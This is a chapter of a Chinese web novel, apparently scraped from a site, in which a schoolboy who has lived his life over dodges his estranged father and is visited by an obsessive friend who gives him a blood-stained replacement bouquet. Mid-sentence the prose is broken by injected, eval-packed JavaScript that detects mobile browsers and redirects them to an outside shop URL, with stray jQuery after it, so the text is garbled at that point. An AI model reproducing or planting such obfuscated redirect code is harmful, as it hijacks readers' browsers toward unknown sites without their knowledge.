舒星未对花没什么兴趣。
宴旧在电话里说了,随便什么都可以。
话虽如此,他还是仔细找了符合眼缘的样品。
他在付款后,站在一旁看着店员包扎,口袋里的手机却再次响起。
他没看是谁,接通后哄道:“马上就好了。”
电话那头顿了一下,才强硬地说道:“周末,过来吃一顿饭。阿姨和弟弟都很想你。”
不是宴旧。
听见这道声音,舒星未神色骤然冷了下来。
“我没有兴趣。”
“不要任性。”
“不是任性。以及,说教的语气就免了。”
“已经过去这么久了,你也不是不懂事的小孩了,既然说了让你过来吃饭,就是给你台阶下,这种话你都听不懂吗?你阿姨是真心想让你来的。”
耳边的声音喋喋不休,攥着手机的力道发紧。
舒星未喃喃道:“好恶心。”
话音落下,没有等对方的反应,他已经干脆利落地挂断了电话。
新的电话立刻拨了过来,他瞥了一眼。没有接通,只是放在那里不管。
不是说拉黑就能解决。
如果不给对方留一点可能的话,那个自私的男人真的有可能为“吃饭”这件小事找到学校来。
只是生理上的父亲而已。好像突然就站在了道德制高点,可以对自己指手画脚。
本质上,只是一个道貌岸然、好面子,又假惺惺的低劣男人。
“怎么了?身体不舒服吗?”
见他久久没说话,店员关心地问了一句。
……自己的脸色大概很差。
舒星未回过神来,整理好情绪,摇了摇头,轻声说一声“谢谢”,接过了打包好的花束。
离开花店,他朝着小区走去。
尽管脑子里告诉自己不该这样。
但在路上,他不可避免地回想起了那个男人。
他的家里没人,管得很宽松。
因为父母一个在“新的美满家庭”,一个在贫瘠的精神病院。
舒星未能理解她生病的原因。
出轨、背叛,和绵延不断、心力交瘁的争执。
充斥在生活中的谎言确实让人无法接受,但更多的,其实是对自己选择的不甘吧。
因为“爱”,而放弃了工作的职业女性,被哄骗着沦为了家庭的附庸。
将所有的希望寄托在一个人的身上,本来就是一件不可思议的事。而全心信任的自己,遭遇了背叛,这无疑是对本身价值观的否定。
是那个男人,把她送进了精神病院。
因为是未成年,父母没有离婚,那个男人签了字,他暂时没有办法将她接出来。
但再等一年,他就成年了。那个时候,他一定会将妈妈带回来。
舒星未会让她知道,生活没有那么糟糕,自己还是她成功的投资和作品。
不过,他每次去见她,她神志清醒的时候很少。
无论和她温柔地说什么,她都认不出他,只会反复自言自语,绝对“不能相信任何人”。
看到她消瘦的样子,舒星未感觉到某种刻骨的恨意、在他的四肢肆意侵-略。
——他厌恶背叛、厌恶欺骗和隐瞒。
尤其是以“爱”为名义。
如果有人,对他做这样的事,他一定、一定……
不会原谅。
……
因为接到了那通糟糕的电话,舒星未完全失去了心情。
不过,他没忘记一件事。
都说要补刀。所以即使解决了,也要去查看一遍。
小区边缘,肮脏的水池。
他仔细检查了边缘,有没有东西从水里出来的迹象。
舒星未松了一口气。
虽然不能百分百确定那个怪物死亡,但是至少说明了,它没有立刻摆脱困境的能力。
回到居民楼,他把花放在了宴旧门外的鞋架上。
然后,他走向了自己的家。
将书包放置在熟悉的位置,他坐在了沙发上,给宴旧发了一条消息。
【花已经买好了。我今天心情不好,抱歉,不能过来了。没有关系吧?】
他不想把负面心情带给对方。
【下次会补偿你的。】
手机对话框显示,那边正在输入中。
过了几秒。
视线里蹦出了一条消息。
【没关系。我一个人也会乖。】
【看到送来的花了,很喜欢,谢谢星未。】
舒星未心底一松,放下了手机。
他从书包里拿出了作业,先要解决这个。
因为做过一遍,所以这次用的时间很少。
在结束后,他抽出了一张空白的草稿纸,在最上方用笔写下了一行字。
这个世界有怪物。
(是人类,基因觉醒后生成的)
他在这里划了一道横线。
——也就是说,有部分人拥有特殊能力。
至于阙连,是主角解决的第一个怪物。尸体现在没办法找到。
如果它作为怪物死去,原本人类的身份应该是失踪吧?会不会有警察来调查……
他在警察这里划下了两道横线。
舒星未努力回忆自己脑子里冒出的信息。
应该没有警察会管。
因为过不了多久,其他怪物就会出现。这个世界会乱成一团。
他很想弄清更多讯息,但这些就像散乱的阴影,在他的脑子里碰撞,捕捉不到关键。
当时有关阙连的信息,也是在他对视几秒的时候才突然想起来的。
所以,最关键的问题,他为什么会重来一次之类的……完全没有头绪。
——如果可以,想先找到主角。
——据说是一个年级,不同班级的同学。
这样的话,应该也不难找。如果可以,也许能成为有帮助的朋友。
但这只是备选。
舒星未将纸揉成了一团。
然后,展开,撕碎成完全拼凑不出形状的碎片,丢进了水龙头下冲走了。
窗外正在降下暴雨。
哗泼作响的水滴,在玻璃上撞击,将窗户前后摇晃。
这是宴旧最喜欢的天气。
舒星未盯着窗户上蜿蜒的水迹看了一会儿,手机亮起了新消息的光。
他的视线被吸引了过去。
【还是有一件事,想和星未分享。】
【我打算转学到你的班上。】
【这样可以吗?】
哦。嗯。
舒星未怔了一下。
之前也说过。但这次是新的。
看来对方确实不是心血来潮,在换了个情况下,依旧说出了这样的话。
【还有,我现在就想见你。】
……现在?
“扣扣。”
门口突然传来了敲门声。
因为屋子不大,所以即使他在浴室,也听到了声音。
舒星未放下手机,朝着门的方向走去。
“是我。”
那边传来了熟悉的声音。
门后露出了浑身湿漉漉的人。
在注意到门打开之后,那个人抬起眼,看向了舒星未。
宴旧。
他皮肤本就偏白,现在更加显眼了。
雨水顺着他的头发、卫衣滴落在了地上。
但他的心情似乎不错,脸上泛着淡淡的红晕,处于某种高度亢奋的状态,丝毫没有察觉到自己现在异常的状态。
“在做什么?会感冒的。”
舒星未先是意外,然后立刻想把人拉进来。
但出乎预料的是,他用力一扯,对方却依旧纹丝不动,低下头,眼睛很亮地看着他。
“星未,考试时间提前了。”他目不转睛地看他,“如果顺利的话,我就可以在一周后入学。那个时候,就可以一起上学、放学……像这样一直在一起了。”
闻言,舒星未怔了一下。
据他所知,转学考试一般是在开学一个月左右。
除了阙连那种关系户,很少有人能够直接打破规矩,但宴旧应该不算关系户吧……
但对方却兴高采
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289228|152071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烈地、像个得到玩具的孩子那样,第一时间和他分享着消息。
“星未不为我感到高兴吗?”
“……高兴。”
得到想要的答案,宴旧这才满意地弯下腰。
那双看着他的眼睛,在此时此刻,专注到足以令人在昏暗的楼道里呼吸一窒。
但是没关系吗?舒星未在想。学校人流量很大,要和那么多人相处,这样的环境真的可以吗?
然而,宴旧毫不犹豫地说道。
“我一直很讨厌人类,但只要能和你在一起,就可以做到忍受。”
舒星未:“…………”
无论听多少次,都觉得有点佩服。
明明那么宅,不擅长和其他人交流,一见到别人就会流露厌恶,却可以如此直白地表达想法,说出羞-耻的、非日常的话……这怎么不能算是一种社牛。
他的心思根本没放在对方的坦白上。
正在这时,腰部忽然一紧,眼前的人抱住了他。
“所以……即使星未把我当宠物养,也无所谓。”
两人之间身高有差距,舒星未整个人都埋进了对方的怀抱里,他能感觉到脸侧有潮湿的水迹,卫衣被挤进的间隙而弄得发皱,闻到了对方从领口锁骨、发丝里散发出的淡淡的清爽香气。
不知为什么,心跳有些加速。
他只能思考些别的东西……比如刚才澡白洗了之类的……宴旧是不是又看了什么东西在胡思乱想。
“你不是宠物。”
舒星未忽然想起他说的话。
对方嗯了一声,头发蹭了蹭他的脖颈。有点痒。
“等我去了学校,你还会照顾我吗?”
还是问了一样的问题。你到底有多在意这个。
“会的。”
“真的吗?”
“嗯。”
舒星未又被抱了一会儿,才松开了。在他的目光里,对方从黑暗里拿出了一束花。
“这个想送给你,是你之前买给我的。本来想当面给你的,但是你那时候没有过来。”
舒星未有点无奈:“你……真是的。”
哪有准备送花的人,让被送的人去买的。
况且朋友之间还专门送花,是不是有点太奇怪了。
宴旧果然还是什么都不懂。
怀着诡异的心情,舒星未接过了花。
宴旧一直目不转睛地注视着他的动作,直到他收下,才朝着他伸出手,轻轻拉起他垂落的左手。
楼道里充斥着寒冷的湿气。
两人接触到的皮肤因此而微微颤抖。
“我一直都只有星未。其实……这样很黏人、很讨厌吧?但如果不能和你在一起,我一定会发疯的。”
这是极其阴冷、突兀的一句话。
仿佛空气都为之沉重扭曲。
但宴旧的表情,却看不出有任何开玩笑的迹象。
舒星未的心底涌现出了一股强烈的不安感。
刚才……是怎么回事。
宴旧不再继续,而是抬高两人交握的手,放在唇边按了按:“谢谢你,晚安。”
做完这一切后,他松手转身离开。
舒星未盯着对方的身影消失,半晌后才回过神来。
“……”那是什么?
事情发生的太突然,他完全忘记提醒宴旧洗热水澡、还有把头发吹干再睡觉了。
明天该不会感冒吧?
舒星未回到自己的家里。
将花插-入了自己的水杯里,然后稍微弄了一点水,让它不至于立刻枯死。
正要离开的时候,他的视线,却忽然被花束上的异样吸引了。
舒星未不由走了过去,手指碰到了花瓣的位置。
指腹蹭到了湿漉漉的液体。那是奇怪的触觉。在雨水的刺激下,它散发出特有的腥味,像是……尚未干涸的某种血迹。
舒星未认了出来。
宴旧撒谎了。
虽然手里的花束外表极像、极贴近,几乎完全吻合,似乎不想让人发现两者有什么不同,但……
这绝对,不是他原本买的那束花。